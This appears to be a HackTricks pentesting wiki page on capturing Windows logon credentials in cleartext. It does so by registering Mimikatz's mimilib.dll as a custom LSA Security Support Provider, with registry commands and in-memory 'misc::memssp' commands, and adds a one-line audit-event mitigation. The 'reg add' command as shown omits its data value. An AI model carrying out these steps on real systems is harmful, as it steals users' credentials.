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# Custom SSP [Learn what is a SSP (Security Support Provider) here.](../authentication-credentials-uac-and-efs.md#security-support-provider-interface-sspi)\ You can create you **own SSP** to **capture** in **clear text** the **credentials** used to access the machine. ### Mimilib You can use the `mimilib.dll` binary provided by Mimikatz. **This will log inside a file all the credentials in clear text.**\ Drop the dll in `C:\Windows\System32\`\ Get a list existing LSA Security Packages: {% code title="attacker@target" %} ```bash PS C:\> reg query hklm\system\currentcontrolset\control\lsa\ /v "Security Packages" HKEY_LOCAL_MACHINE\system\currentcontrolset\control\lsa Security Packages REG_MULTI_SZ kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u ``` {% endcode %} Add `mimilib.dll` to the Security Support Provider list (Security Packages): ```csharp PS C:\> reg add "hklm\system\currentcontrolset\control\lsa\" /v "Security Packages" ``` And after a reboot all credentials can be found in clear text in `C:\Windows\System32\kiwissp.log` ### In memory You can also inject this in memory directly using Mimikatz (notice that it could be a little bit unstable/not working): ```csharp privilege::debug misc::memssp ``` This won't survive reboots. ## Mitigation Event ID 4657 - Audit creation/change of `HKLM:\System\CurrentControlSet\Control\Lsa\SecurityPackages`

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! - Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) - Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.